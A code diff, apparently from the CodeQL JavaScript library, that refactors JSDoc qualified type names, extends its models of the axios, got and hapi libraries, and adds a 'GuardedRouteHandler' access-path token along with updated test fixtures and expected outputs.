||||
result.getQualifiedName() = tp.(JSDocNamedTypeExpr).getRawName() or
|
||||
result = sourceDecl(tp.(JSDocAppliedTypeExpr).getHead()) or
|
||||
result = sourceDecl(tp.(JSDocNullableTypeExpr).getTypeExpr()) or
|
||||
result = sourceDecl(tp.(JSDocNonNullableTypeExpr).getTypeExpr()) or
|
||||
|
||||
@@ -261,17 +261,14 @@ class JSDocVoidTypeExpr extends @jsdoc_void_type_expr, JSDocTypeExpr {
|
||||
}
|
||||
|
||||
/**
|
||||
* A type expression referring to a named type.
|
||||
* An identifier in a JSDoc type expression, such as `Object` or `string`.
|
||||
*
|
||||
* Example:
|
||||
*
|
||||
* ```
|
||||
* string
|
||||
* Object
|
||||
* ```
|
||||
* Note that qualified names consist of multiple identifier nodes.
|
||||
*/
|
||||
class JSDocNamedTypeExpr extends @jsdoc_named_type_expr, JSDocTypeExpr {
|
||||
/** Gets the name of the type the expression refers to. */
|
||||
class JSDocIdentifierTypeExpr extends @jsdoc_identifier_type_expr, JSDocTypeExpr {
|
||||
/**
|
||||
* Gets the name of the identifier.
|
||||
*/
|
||||
string getName() { result = this.toString() }
|
||||
|
||||
override predicate isString() { this.getName() = "string" }
|
||||
@@ -300,6 +297,71 @@ class JSDocNamedTypeExpr extends @jsdoc_named_type_expr, JSDocTypeExpr {
|
||||
}
|
||||
|
||||
override predicate isRawFunction() { this.getName() = "Function" }
|
||||
}
|
||||
|
||||
/**
|
||||
* An unqualified identifier in a JSDoc type expression.
|
||||
*
|
||||
* Example:
|
||||
*
|
||||
* ```
|
||||
* string
|
||||
* Object
|
||||
* ```
|
||||
*/
|
||||
class JSDocLocalTypeAccess extends JSDocIdentifierTypeExpr {
|
||||
JSDocLocalTypeAccess() { not this = any(JSDocQualifiedTypeAccess a).getNameNode() }
|
||||
}
|
||||
|
||||
/**
|
||||
* A qualified type name in a JSDoc type expression, such as `X.Y`.
|
||||
*/
|
||||
class JSDocQualifiedTypeAccess extends @jsdoc_qualified_type_expr, JSDocTypeExpr {
|
||||
/**
|
||||
* Gets the base of this access, such as the `X` in `X.Y`.
|
||||
*/
|
||||
JSDocTypeExpr getBase() { result = this.getChild(0) }
|
||||
|
||||
/**
|
||||
* Gets the node naming the member being accessed, such as the `Y` node in `X.Y`.
|
||||
*/
|
||||
JSDocIdentifierTypeExpr getNameNode() { result = this.getChild(1) }
|
||||
|
||||
/**
|
||||
* Gets the name being accessed, such as `Y` in `X.Y`.
|
||||
*/
|
||||
string getName() { result = this.getNameNode().getName() }
|
||||
}
|
||||
|
||||
/**
|
||||
* A type expression referring to a named type.
|
||||
*
|
||||
* Example:
|
||||
*
|
||||
* ```
|
||||
* string
|
||||
* Object
|
||||
* Namespace.Type
|
||||
* ```
|
||||
*/
|
||||
class JSDocNamedTypeExpr extends JSDocTypeExpr {
|
||||
JSDocNamedTypeExpr() {
|
||||
this instanceof JSDocLocalTypeAccess
|
||||
or
|
||||
this instanceof JSDocQualifiedTypeAccess
|
||||
}
|
||||
|
||||
/**
|
||||
* Gets the name directly as it appears in this type, including any qualifiers.
|
||||
*
|
||||
* For example, for `X.Y` this gets the string `"X.Y"`.
|
||||
*/
|
||||
string getRawName() { result = this.toString() }
|
||||
|
||||
/**
|
||||
* DEPRECATED. Use `getRawName()` instead.
|
||||
*/
|
||||
deprecated string getName() { result = this.toString() }
|
||||
|
||||
/**
|
||||
* Holds if this name consists of the unqualified name `prefix`
|
||||
@@ -310,8 +372,9 @@ class JSDocNamedTypeExpr extends @jsdoc_named_type_expr, JSDocTypeExpr {
|
||||
* - `Baz` has prefix `Baz` and an empty suffix.
|
||||
*/
|
||||
predicate hasNameParts(string prefix, string suffix) {
|
||||
not this = any(JSDocQualifiedTypeAccess a).getBase() and // restrict size of predicate
|
||||
exists(string regex, string name | regex = "([^.]+)(.*)" |
|
||||
name = this.getName() and
|
||||
name = this.getRawName() and
|
||||
prefix = name.regexpCapture(regex, 1) and
|
||||
suffix = name.regexpCapture(regex, 2)
|
||||
)
|
||||
@@ -340,7 +403,7 @@ class JSDocNamedTypeExpr extends @jsdoc_named_type_expr, JSDocTypeExpr {
|
||||
globalName = this.resolvedName()
|
||||
or
|
||||
not exists(this.resolvedName()) and
|
||||
globalName = this.getName()
|
||||
globalName = this.getRawName()
|
||||
}
|
||||
|
||||
override DataFlow::ClassNode getClass() {
|
||||
|
||||
@@ -97,7 +97,7 @@ module SsaDataflowInput implements DataFlowIntegrationInputSig {
|
||||
}
|
||||
|
||||
pragma[inline]
|
||||
predicate guardControlsBlock(Guard guard, js::BasicBlock bb, boolean branch) {
|
||||
predicate guardDirectlyControlsBlock(Guard guard, js::BasicBlock bb, boolean branch) {
|
||||
exists(js::ConditionGuardNode g |
|
||||
g.getTest() = guard and
|
||||
g.dominates(bb) and
|
||||
|
||||
@@ -222,7 +222,10 @@ module ClientRequest {
|
||||
method = "request"
|
||||
or
|
||||
this = axios().getMember(method).getACall() and
|
||||
method = [httpMethodName(), "request"]
|
||||
method = [httpMethodName(), "request", "postForm", "putForm", "patchForm", "getUri"]
|
||||
or
|
||||
this = axios().getMember("create").getReturn().getACall() and
|
||||
method = "request"
|
||||
}
|
||||
|
||||
private int getOptionsArgIndex() {
|
||||
@@ -254,6 +257,8 @@ module ClientRequest {
|
||||
method = ["post", "put"] and
|
||||
result = [this.getArgument(1), this.getOptionArgument(2, "data")]
|
||||
or
|
||||
method = ["postForm", "putForm", "patchForm"] and result = this.getArgument(1)
|
||||
or
|
||||
result = this.getOptionArgument([0 .. 2], ["headers", "params"])
|
||||
}
|
||||
|
||||
@@ -414,20 +419,74 @@ module ClientRequest {
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Represents an instance of the `got` HTTP client library.
|
||||
*/
|
||||
abstract private class GotInstance extends API::Node {
|
||||
/**
|
||||
* Gets the options object associated with this instance of `got`.
|
||||
*/
|
||||
API::Node getOptions() { none() }
|
||||
}
|
||||
|
||||
/**
|
||||
* Represents the root `got` module import.
|
||||
* For example: `const got = require('got')`.
|
||||
*/
|
||||
private class RootGotInstance extends GotInstance {
|
||||
RootGotInstance() { this = API::moduleImport("got") }
|
||||
}
|
||||
|
||||
/**
|
||||
* Represents an instance of `got` created by calling the `extend()` method.
|
||||
* It may also be chained with multiple calls to `extend()`.
|
||||
*
|
||||
* For example: `const client = got.extend({ prefixUrl: 'https://example.com' })`.
|
||||
*/
|
||||
private class ExtendGotInstance extends GotInstance {
|
||||
private GotInstance base;
|
||||
private API::CallNode extendCall;
|
||||
|
||||
ExtendGotInstance() {
|
||||
extendCall = base.getMember("extend").getACall() and
|
||||
this = extendCall.getReturn()
|
||||
}
|
||||
|
||||
override API::Node getOptions() {
|
||||
result = extendCall.getParameter(0) or result = base.getOptions()
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* A model of a URL request made using the `got` library.
|
||||
*/
|
||||
class GotUrlRequest extends ClientRequest::Range {
|
||||
GotInstance got;
|
||||
|
||||
GotUrlRequest() {
|
||||
exists(API::Node callee, API::Node got | this = callee.getACall() |
|
||||
got = [API::moduleImport("got"), API::moduleImport("got").getMember("extend").getReturn()] and
|
||||
callee = [got, got.getMember(["stream", "get", "post", "put", "patch", "head", "delete"])]
|
||||
exists(API::Node callee | this = callee.getACall() |
|
||||
callee =
|
||||
[
|
||||
got,
|
||||
got.getMember(["stream", "get", "post", "put", "patch", "head", "delete", "paginate"])
|
||||
]
|
||||
)
|
||||
}
|
||||
|
||||
override DataFlow::Node getUrl() {
|
||||
result = this.getArgument(0) and
|
||||
not exists(this.getOptionArgument(1, "baseUrl"))
|
||||
or
|
||||
// Handle URL from options passed to extend()
|
||||
result = got.getOptions().getMember("url").asSink() and
|
||||
not exists(this.getArgument(0))
|
||||
or
|
||||
// Handle URL from options passed as third argument when first arg is undefined/missing
|
||||
exists(API::InvokeNode optionsCall |
|
||||
optionsCall = API::moduleImport("got").getMember("Options").getAnInvocation() and
|
||||
optionsCall.getReturn().getAValueReachableFromSource() = this.getAnArgument() and
|
||||
result = optionsCall.getParameter(0).getMember("url").asSink()
|
||||
)
|
||||
}
|
||||
|
||||
override DataFlow::Node getHost() {
|
||||
|
||||
@@ -11,8 +11,8 @@ module Hapi {
|
||||
*/
|
||||
class ServerDefinition extends Http::Servers::StandardServerDefinition, DataFlow::Node {
|
||||
ServerDefinition() {
|
||||
// `server = new Hapi.Server()`
|
||||
this = DataFlow::moduleMember("hapi", "Server").getAnInstantiation()
|
||||
// `server = new Hapi.Server()`, `server = Hapi.server()`
|
||||
this = DataFlow::moduleMember(["hapi", "@hapi/hapi"], ["Server", "server"]).getAnInvocation()
|
||||
or
|
||||
// `server = Glue.compose(manifest, composeOptions)`
|
||||
this = DataFlow::moduleMember("@hapi/glue", "compose").getAnInvocation()
|
||||
|
||||
@@ -599,7 +599,7 @@ module NodeJSLib {
|
||||
override DataFlow::Node getADataNode() {
|
||||
if methodName.matches("%Sync")
|
||||
then result = this
|
||||
else
|
||||
else (
|
||||
exists(int i, string paramName | fsDataParam(methodName, i, paramName) |
|
||||
if paramName = "callback"
|
||||
then
|
||||
@@ -610,6 +610,12 @@ module NodeJSLib {
|
||||
)
|
||||
else result = this.getArgument(i)
|
||||
)
|
||||
or
|
||||
exists(AwaitExpr await |
|
||||
this.getEnclosingExpr() = await.getOperand() and
|
||||
result = DataFlow::valueNode(await)
|
||||
)
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -184,6 +184,20 @@ API::Node getExtraSuccessorFromNode(API::Node node, AccessPathTokenBase token) {
|
||||
or
|
||||
token.getName() = "DecoratedParameter" and
|
||||
result = node.getADecoratedParameter()
|
||||
or
|
||||
token.getName() = "GuardedRouteHandler" and
|
||||
result = getAGuardedRouteHandlerApprox(node)
|
||||
}
|
||||
|
||||
bindingset[node]
|
||||
pragma[inline_late]
|
||||
private API::Node getAGuardedRouteHandlerApprox(API::Node node) {
|
||||
// For now just get any routing node with the same root (i.e. the same web app), as
|
||||
// there are some known performance issues when checking if it is actually guarded by the given node.
|
||||
exists(JS::Routing::Node root |
|
||||
root = JS::Routing::getNode(node.getAValueReachableFromSource()).getRootNode() and
|
||||
root = JS::Routing::getNode(result.asSink()).getRootNode()
|
||||
)
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -317,7 +331,7 @@ predicate isExtraValidTokenNameInIdentifyingAccessPath(string name) {
|
||||
[
|
||||
"Member", "AnyMember", "Instance", "Awaited", "ArrayElement", "Element", "MapValue",
|
||||
"NewCall", "Call", "DecoratedClass", "DecoratedMember", "DecoratedParameter",
|
||||
"WithStringArgument"
|
||||
"WithStringArgument", "GuardedRouteHandler"
|
||||
]
|
||||
}
|
||||
|
||||
@@ -329,7 +343,7 @@ predicate isExtraValidNoArgumentTokenInIdentifyingAccessPath(string name) {
|
||||
name =
|
||||
[
|
||||
"AnyMember", "Instance", "Awaited", "ArrayElement", "Element", "MapValue", "NewCall", "Call",
|
||||
"DecoratedClass", "DecoratedMember", "DecoratedParameter"
|
||||
"DecoratedClass", "DecoratedMember", "DecoratedParameter", "GuardedRouteHandler"
|
||||
]
|
||||
}
|
||||
|
||||
|
||||
@@ -1001,7 +1001,7 @@ case @jsdoc_type_expr.kind of
|
||||
| 2 = @jsdoc_undefined_type_expr
|
||||
| 3 = @jsdoc_unknown_type_expr
|
||||
| 4 = @jsdoc_void_type_expr
|
||||
| 5 = @jsdoc_named_type_expr
|
||||
| 5 = @jsdoc_identifier_type_expr
|
||||
| 6 = @jsdoc_applied_type_expr
|
||||
| 7 = @jsdoc_nullable_type_expr
|
||||
| 8 = @jsdoc_non_nullable_type_expr
|
||||
@@ -1011,6 +1011,7 @@ case @jsdoc_type_expr.kind of
|
||||
| 12 = @jsdoc_function_type_expr
|
||||
| 13 = @jsdoc_optional_type_expr
|
||||
| 14 = @jsdoc_rest_type_expr
|
||||
| 15 = @jsdoc_qualified_type_expr
|
||||
;
|
||||
|
||||
#keyset[id, idx]
|
||||
|
||||
@@ -1334,10 +1334,14 @@
|
||||
<v>8</v>
|
||||
</e>
|
||||
<e>
|
||||
<k>@jsdoc_named_type_expr</k>
|
||||
<k>@jsdoc_identifier_type_expr</k>
|
||||
<v>18639</v>
|
||||
</e>
|
||||
<e>
|
||||
<k>@jsdoc_qualified_type_expr</k>
|
||||
<v>1000</v>
|
||||
</e>
|
||||
<e>
|
||||
<k>@jsdoc_applied_type_expr</k>
|
||||
<v>303</v>
|
||||
</e>
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,2 @@
|
||||
description: split up qualified names in jsdoc type exprs
|
||||
compatibility: partial
|
||||
@@ -1,5 +1,10 @@
|
||||
| bar.js:5:14:5:14 | x | x |
|
||||
| bar.js:5:14:5:18 | x.Foo | ns.very.long.namespace.Foo |
|
||||
| bar.js:12:14:12:17 | iife | iife |
|
||||
| bar.js:12:14:12:21 | iife.Foo | IIFE.Foo |
|
||||
| closure.js:8:12:8:15 | goog | goog |
|
||||
| closure.js:8:12:8:19 | goog.net | goog.net |
|
||||
| closure.js:8:12:8:28 | goog.net.SomeType | goog.net.SomeType |
|
||||
| closure.js:9:12:9:14 | net | net |
|
||||
| closure.js:9:12:9:23 | net.SomeType | goog.net.SomeType |
|
||||
| closure.js:10:12:10:19 | SomeType | goog.net.SomeType |
|
||||
|
||||
@@ -278,7 +278,11 @@ test_JSDocTypeExpr
|
||||
| tst.js:26:14:26:20 | boolean | tst.js:26:5:26:11 | @define | 0 |
|
||||
| tst.js:31:13:31:19 | boolean | tst.js:31:4:31:10 | @return | 0 |
|
||||
| tst.js:53:11:53:16 | number | tst.js:53:4:53:8 | @enum | 0 |
|
||||
| tst.js:68:14:68:17 | goog | tst.js:68:14:68:20 | goog.ds | 0 |
|
||||
| tst.js:68:14:68:20 | goog.ds | tst.js:68:14:68:34 | goog.ds.BasicNodeList | 0 |
|
||||
| tst.js:68:14:68:34 | goog.ds.BasicNodeList | tst.js:68:4:68:11 | @extends | 0 |
|
||||
| tst.js:68:19:68:20 | ds | tst.js:68:14:68:20 | goog.ds | 1 |
|
||||
| tst.js:68:22:68:34 | BasicNodeList | tst.js:68:14:68:34 | goog.ds.BasicNodeList | 1 |
|
||||
| tst.js:95:17:95:21 | Shape | tst.js:95:4:95:14 | @implements | 0 |
|
||||
| tst.js:110:14:110:18 | Shape | tst.js:110:4:110:11 | @extends | 0 |
|
||||
| tst.js:134:13:134:18 | Object | tst.js:134:4:134:10 | @return | 0 |
|
||||
@@ -298,7 +302,9 @@ test_JSDocTypeExpr
|
||||
| tst.js:216:15:216:29 | (string\|number) | tst.js:216:5:216:12 | @typedef | 0 |
|
||||
| tst.js:216:16:216:21 | string | tst.js:216:15:216:29 | (string\|number) | 0 |
|
||||
| tst.js:216:23:216:28 | number | tst.js:216:15:216:29 | (string\|number) | 1 |
|
||||
| tst.js:219:13:219:16 | goog | tst.js:219:13:219:27 | goog.NumberLike | 0 |
|
||||
| tst.js:219:13:219:27 | goog.NumberLike | tst.js:219:5:219:10 | @param | 0 |
|
||||
| tst.js:219:18:219:27 | NumberLike | tst.js:219:13:219:27 | goog.NumberLike | 1 |
|
||||
| tst.js:223:12:223:36 | {myNum: number, myObject} | tst.js:223:5:223:9 | @type | 0 |
|
||||
| tst.js:223:20:223:25 | number | tst.js:223:12:223:36 | {myNum: number, myObject} | 0 |
|
||||
| tst.js:226:12:226:17 | number | tst.js:226:12:226:18 | number? | 0 |
|
||||
@@ -311,10 +317,18 @@ test_JSDocTypeExpr
|
||||
| tst.js:234:12:234:29 | function (): number | tst.js:234:4:234:9 | @param | 0 |
|
||||
| tst.js:234:24:234:29 | number | tst.js:234:12:234:29 | function (): number | -1 |
|
||||
| tst.js:235:12:235:46 | function (this: goog.ui.Menu, string) | tst.js:235:4:235:9 | @param | 0 |
|
||||
| tst.js:235:26:235:29 | goog | tst.js:235:26:235:32 | goog.ui | 0 |
|
||||
| tst.js:235:26:235:32 | goog.ui | tst.js:235:26:235:37 | goog.ui.Menu | 0 |
|
||||
| tst.js:235:26:235:37 | goog.ui.Menu | tst.js:235:12:235:46 | function (this: goog.ui.Menu, string) | -2 |
|
||||
| tst.js:235:31:235:32 | ui | tst.js:235:26:235:32 | goog.ui | 1 |
|
||||
| tst.js:235:34:235:37 | Menu | tst.js:235:26:235:37 | goog.ui.Menu | 1 |
|
||||
| tst.js:235:40:235:45 | string | tst.js:235:12:235:46 | function (this: goog.ui.Menu, string) | 0 |
|
||||
| tst.js:236:12:236:45 | function (new: goog.ui.Menu, string) | tst.js:236:4:236:9 | @param | 0 |
|
||||
| tst.js:236:25:236:28 | goog | tst.js:236:25:236:31 | goog.ui | 0 |
|
||||
| tst.js:236:25:236:31 | goog.ui | tst.js:236:25:236:36 | goog.ui.Menu | 0 |
|
||||
| tst.js:236:25:236:36 | goog.ui.Menu | tst.js:236:12:236:45 | function (new: goog.ui.Menu, string) | -2 |
|
||||
| tst.js:236:30:236:31 | ui | tst.js:236:25:236:31 | goog.ui | 1 |
|
||||
| tst.js:236:33:236:36 | Menu | tst.js:236:25:236:36 | goog.ui.Menu | 1 |
|
||||
| tst.js:236:39:236:44 | string | tst.js:236:12:236:45 | function (new: goog.ui.Menu, string) | 0 |
|
||||
| tst.js:237:12:237:48 | function (string, ...[number]): number | tst.js:237:4:237:9 | @param | 0 |
|
||||
| tst.js:237:21:237:26 | string | tst.js:237:12:237:48 | function (string, ...[number]): number | 0 |
|
||||
|
||||
@@ -5,6 +5,8 @@ test_isNumber
|
||||
test_QualifiedName
|
||||
| VarType | tst.js:9:13:9:19 | VarType |
|
||||
| boolean | tst.js:5:14:5:20 | boolean |
|
||||
| foo | tst.js:4:12:4:14 | foo |
|
||||
| foo.bar | tst.js:4:12:4:18 | foo.bar |
|
||||
| foo.bar.baz | tst.js:4:12:4:22 | foo.bar.baz |
|
||||
| number | tst.js:3:12:3:17 | number |
|
||||
| string | tst.js:2:12:2:17 | string |
|
||||
|
||||
@@ -97,6 +97,19 @@ test_ClientRequest
|
||||
| tst.js:319:5:319:26 | superag ... ', url) |
|
||||
| tst.js:320:5:320:23 | superagent.del(url) |
|
||||
| tst.js:321:5:321:32 | superag ... st(url) |
|
||||
| tst.js:328:5:328:38 | got(und ... ptions) |
|
||||
| tst.js:329:5:329:49 | got(und ... {url})) |
|
||||
| tst.js:332:5:332:46 | got.ext ... ).get() |
|
||||
| tst.js:334:5:334:25 | got.pag ... rl, {}) |
|
||||
| tst.js:337:5:337:20 | jsonClient.get() |
|
||||
| tst.js:340:5:340:21 | jsonClient2.get() |
|
||||
| tst.js:344:5:344:37 | axios.p ... config) |
|
||||
| tst.js:345:5:345:28 | axios.p ... , data) |
|
||||
| tst.js:346:5:346:36 | axios.p ... config) |
|
||||
| tst.js:347:5:347:30 | axios.p ... , data) |
|
||||
| tst.js:348:5:348:38 | axios.p ... config) |
|
||||
| tst.js:349:5:349:30 | axios.g ... url }) |
|
||||
| tst.js:352:5:352:66 | axiosIn ... text"}) |
|
||||
test_getADataNode
|
||||
| axiosTest.js:12:5:17:6 | axios({ ... \\n }) | axiosTest.js:15:18:15:55 | { 'Cont ... json' } |
|
||||
| axiosTest.js:12:5:17:6 | axios({ ... \\n }) | axiosTest.js:16:15:16:35 | {x: 'te ... 'test'} |
|
||||
@@ -140,6 +153,11 @@ test_getADataNode
|
||||
| tst.js:257:1:262:2 | form.su ... rs()\\n}) | tst.js:255:25:255:35 | 'new_value' |
|
||||
| tst.js:286:20:286:55 | new Web ... :8080') | tst.js:288:21:288:35 | 'Hello Server!' |
|
||||
| tst.js:321:5:321:32 | superag ... st(url) | tst.js:321:39:321:42 | data |
|
||||
| tst.js:344:5:344:37 | axios.p ... config) | tst.js:344:25:344:28 | data |
|
||||
| tst.js:345:5:345:28 | axios.p ... , data) | tst.js:345:24:345:27 | data |
|
||||
| tst.js:346:5:346:36 | axios.p ... config) | tst.js:346:24:346:27 | data |
|
||||
| tst.js:347:5:347:30 | axios.p ... , data) | tst.js:347:26:347:29 | data |
|
||||
| tst.js:348:5:348:38 | axios.p ... config) | tst.js:348:26:348:29 | data |
|
||||
test_getHost
|
||||
| tst.js:87:5:87:39 | http.ge ... host}) | tst.js:87:34:87:37 | host |
|
||||
| tst.js:89:5:89:23 | axios({host: host}) | tst.js:89:18:89:21 | host |
|
||||
@@ -254,6 +272,22 @@ test_getUrl
|
||||
| tst.js:319:5:319:26 | superag ... ', url) | tst.js:319:23:319:25 | url |
|
||||
| tst.js:320:5:320:23 | superagent.del(url) | tst.js:320:20:320:22 | url |
|
||||
| tst.js:321:5:321:32 | superag ... st(url) | tst.js:321:29:321:31 | url |
|
||||
| tst.js:328:5:328:38 | got(und ... ptions) | tst.js:327:34:327:36 | url |
|
||||
| tst.js:328:5:328:38 | got(und ... ptions) | tst.js:328:9:328:17 | undefined |
|
||||
| tst.js:329:5:329:49 | got(und ... {url})) | tst.js:329:9:329:17 | undefined |
|
||||
| tst.js:329:5:329:49 | got(und ... {url})) | tst.js:329:44:329:46 | url |
|
||||
| tst.js:334:5:334:25 | got.pag ... rl, {}) | tst.js:334:18:334:20 | url |
|
||||
| tst.js:337:5:337:20 | jsonClient.get() | tst.js:336:41:336:43 | url |
|
||||
| tst.js:340:5:340:21 | jsonClient2.get() | tst.js:339:42:339:44 | url |
|
||||
| tst.js:340:5:340:21 | jsonClient2.get() | tst.js:339:61:339:63 | url |
|
||||
| tst.js:344:5:344:37 | axios.p ... config) | tst.js:344:20:344:22 | url |
|
||||
| tst.js:345:5:345:28 | axios.p ... , data) | tst.js:345:19:345:21 | url |
|
||||
| tst.js:346:5:346:36 | axios.p ... config) | tst.js:346:19:346:21 | url |
|
||||
| tst.js:347:5:347:30 | axios.p ... , data) | tst.js:347:21:347:23 | url |
|
||||
| tst.js:348:5:348:38 | axios.p ... config) | tst.js:348:21:348:23 | url |
|
||||
| tst.js:349:5:349:30 | axios.g ... url }) | tst.js:349:18:349:29 | { url: url } |
|
||||
| tst.js:352:5:352:66 | axiosIn ... text"}) | tst.js:352:19:352:65 | {method ... "text"} |
|
||||
| tst.js:352:5:352:66 | axiosIn ... text"}) | tst.js:352:40:352:42 | url |
|
||||
test_getAResponseDataNode
|
||||
| axiosTest.js:4:5:7:6 | axios({ ... \\n }) | axiosTest.js:4:5:7:6 | axios({ ... \\n }) | json | true |
|
||||
| axiosTest.js:12:5:17:6 | axios({ ... \\n }) | axiosTest.js:12:5:17:6 | axios({ ... \\n }) | json | true |
|
||||
@@ -334,3 +368,16 @@ test_getAResponseDataNode
|
||||
| tst.js:319:5:319:26 | superag ... ', url) | tst.js:319:5:319:26 | superag ... ', url) | stream | true |
|
||||
| tst.js:320:5:320:23 | superagent.del(url) | tst.js:320:5:320:23 | superagent.del(url) | stream | true |
|
||||
| tst.js:321:5:321:32 | superag ... st(url) | tst.js:321:5:321:32 | superag ... st(url) | stream | true |
|
||||
| tst.js:328:5:328:38 | got(und ... ptions) | tst.js:328:5:328:38 | got(und ... ptions) | text | true |
|
||||
| tst.js:329:5:329:49 | got(und ... {url})) | tst.js:329:5:329:49 | got(und ... {url})) | text | true |
|
||||
| tst.js:332:5:332:46 | got.ext ... ).get() | tst.js:332:5:332:46 | got.ext ... ).get() | text | true |
|
||||
| tst.js:334:5:334:25 | got.pag ... rl, {}) | tst.js:334:5:334:25 | got.pag ... rl, {}) | text | true |
|
||||
| tst.js:337:5:337:20 | jsonClient.get() | tst.js:337:5:337:20 | jsonClient.get() | text | true |
|
||||
| tst.js:340:5:340:21 | jsonClient2.get() | tst.js:340:5:340:21 | jsonClient2.get() | text | true |
|
||||
| tst.js:344:5:344:37 | axios.p ... config) | tst.js:344:5:344:37 | axios.p ... config) | json | true |
|
||||
| tst.js:345:5:345:28 | axios.p ... , data) | tst.js:345:5:345:28 | axios.p ... , data) | json | true |
|
||||
| tst.js:346:5:346:36 | axios.p ... config) | tst.js:346:5:346:36 | axios.p ... config) | json | true |
|
||||
| tst.js:347:5:347:30 | axios.p ... , data) | tst.js:347:5:347:30 | axios.p ... , data) | json | true |
|
||||
| tst.js:348:5:348:38 | axios.p ... config) | tst.js:348:5:348:38 | axios.p ... config) | json | true |
|
||||
| tst.js:349:5:349:30 | axios.g ... url }) | tst.js:349:5:349:30 | axios.g ... url }) | json | true |
|
||||
| tst.js:352:5:352:66 | axiosIn ... text"}) | tst.js:352:5:352:66 | axiosIn ... text"}) | text | true |
|
||||
|
||||
@@ -320,3 +320,34 @@ function useSuperagent(url){
|
||||
superagent.del(url);
|
||||
superagent.agent().post(url).send(data);
|
||||
}
|
||||
|
||||
import { Options } from 'got';
|
||||
|
||||
function gotTests(url){
|
||||
const options = new Options({url});
|
||||
got(undefined, undefined, options);
|
||||
got(undefined, undefined, new Options({url}));
|
||||
|
||||
const options2 = new Options({url});
|
||||
got.extend(options2).extend(options).get();
|
||||
|
||||
got.paginate(url, {});
|
||||
|
||||
const jsonClient = got.extend({url: url});
|
||||
jsonClient.get();
|
||||
|
||||
const jsonClient2 = got.extend({url: url}).extend({url: url});
|
||||
jsonClient2.get();
|
||||
}
|
||||
|
||||
function moreAxiosTests(url, data, config){
|
||||
axios.postForm(url, data, config);
|
||||
axios.putForm(url, data);
|
||||
axios.putForm(url, data, config);
|
||||
axios.patchForm(url, data);
|
||||
axios.patchForm(url, data, config);
|
||||
axios.getUri({ url: url });
|
||||
|
||||
const axiosInstance = axios.create({});
|
||||
axiosInstance({method: "get", url: url, responseType: "text"});
|
||||
}
|
||||
|
||||
@@ -0,0 +1,21 @@
|
||||
const express = require('express');
|
||||
const app = express();
|
||||
const testlib = require('testlib');
|
||||
|
||||
app.get('/before', (req, res) => {
|
||||
sink(req.injectedReqData); // OK [INCONSISTENCY] - happens before middleware
|
||||
sink(req.injectedResData); // OK - wrong parameter
|
||||
|
||||
sink(res.injectedReqData); // OK - wrong parameter
|
||||
sink(res.injectedResData); // OK [INCONSISTENCY] - happens before middleware
|
||||
});
|
||||
|
||||
app.use(testlib.middleware());
|
||||
|
||||
app.get('/after', (req, res) => {
|
||||
sink(req.injectedReqData); // NOT OK
|
||||
sink(req.injectedResData); // OK - wrong parameter
|
||||
|
||||
sink(res.injectedReqData); // OK - wrong parameter
|
||||
sink(res.injectedResData); // NOT OK
|
||||
});
|
||||
@@ -1,6 +1,10 @@
|
||||
legacyDataFlowDifference
|
||||
consistencyIssue
|
||||
taintFlow
|
||||
| guardedRouteHandler.js:6:10:6:28 | req.injectedReqData | guardedRouteHandler.js:6:10:6:28 | req.injectedReqData |
|
||||
| guardedRouteHandler.js:10:10:10:28 | res.injectedResData | guardedRouteHandler.js:10:10:10:28 | res.injectedResData |
|
||||
| guardedRouteHandler.js:16:10:16:28 | req.injectedReqData | guardedRouteHandler.js:16:10:16:28 | req.injectedReqData |
|
||||
| guardedRouteHandler.js:20:10:20:28 | res.injectedResData | guardedRouteHandler.js:20:10:20:28 | res.injectedResData |
|
||||
| paramDecorator.ts:6:54:6:54 | x | paramDecorator.ts:7:10:7:10 | x |
|
||||
| test.js:5:30:5:37 | source() | test.js:5:8:5:38 | testlib ... urce()) |
|
||||
| test.js:6:22:6:29 | source() | test.js:6:8:6:30 | preserv ... urce()) |
|
||||
|
||||
@@ -13,6 +13,8 @@ extensions:
|
||||
- ['testlib', 'Member[getSourceArray].ReturnValue.ArrayElement', 'test-source']
|
||||
- ['(testlib)', 'Member[parenthesizedPackageName].ReturnValue', 'test-source']
|
||||
- ['danger-constant', 'Member[danger]', 'test-source']
|
||||
- ['testlib', 'Member[middleware].ReturnValue.GuardedRouteHandler.Parameter[0].Member[injectedReqData]', 'test-source']
|
||||
- ['testlib', 'Member[middleware].ReturnValue.GuardedRouteHandler.Parameter[1].Member[injectedResData]', 'test-source']
|
||||
|
||||
- addsTo:
|
||||
pack: codeql/javascript-all
|
||||
|
||||
@@ -0,0 +1,36 @@
|
||||
var server1 = new (require('@hapi/hapi')).Server(); // HTTP::Server
|
||||
|
||||
var Hapi = require('@hapi/hapi');
|
||||
var server2 = new Hapi.Server(); // HTTP::Server
|
||||
|
||||
function handler1(){} // HTTP::RouteHandler
|
||||
server2.route({
|
||||
handler: handler1
|
||||
});
|
||||
|
||||
|
||||
server2.route({
|
||||
handler: function handler2(request, reply){ // HTTP::RouteHandler
|
||||
request.response.header('HEADER1', '') // HTTP::HeaderDefinition
|
||||
}});
|
||||
|
||||
server2.ext('onPreResponse', function handler3(request, reply) { // HTTP::RouteHandler
|
||||
})
|
||||
|
||||
function handler4(request, reply){
|
||||
request.rawPayload;
|
||||
request.payload.foo;
|
||||
request.query.bar;
|
||||
request.url.path;
|
||||
request.headers.baz;
|
||||
request.state.token;
|
||||
}
|
||||
var route = {handler: handler4};
|
||||
server2.route(route);
|
||||
|
||||
server2.cache({ segment: 'countries', expiresIn: 60*60*1000 });
|
||||
|
||||
function getHandler() {
|
||||
return function (req, h){}
|
||||
}
|
||||
server2.route({handler: getHandler()});
|
||||
@@ -9,6 +9,11 @@ test_RouteSetup
|
||||
| src/hapiglue.js:17:1:18:2 | server2 ... dler\\n}) |
|
||||
| src/hapiglue.js:31:1:31:20 | server2.route(route) |
|
||||
| src/hapiglue.js:38:1:38:38 | server2 ... ler()}) |
|
||||
| src/hapihapi.js:7:1:9:2 | server2 ... ler1\\n}) |
|
||||
| src/hapihapi.js:12:1:15:7 | server2 ... }}) |
|
||||
| src/hapihapi.js:17:1:18:2 | server2 ... dler\\n}) |
|
||||
| src/hapihapi.js:29:1:29:20 | server2.route(route) |
|
||||
| src/hapihapi.js:36:1:36:38 | server2 ... ler()}) |
|
||||
test_RequestExpr
|
||||
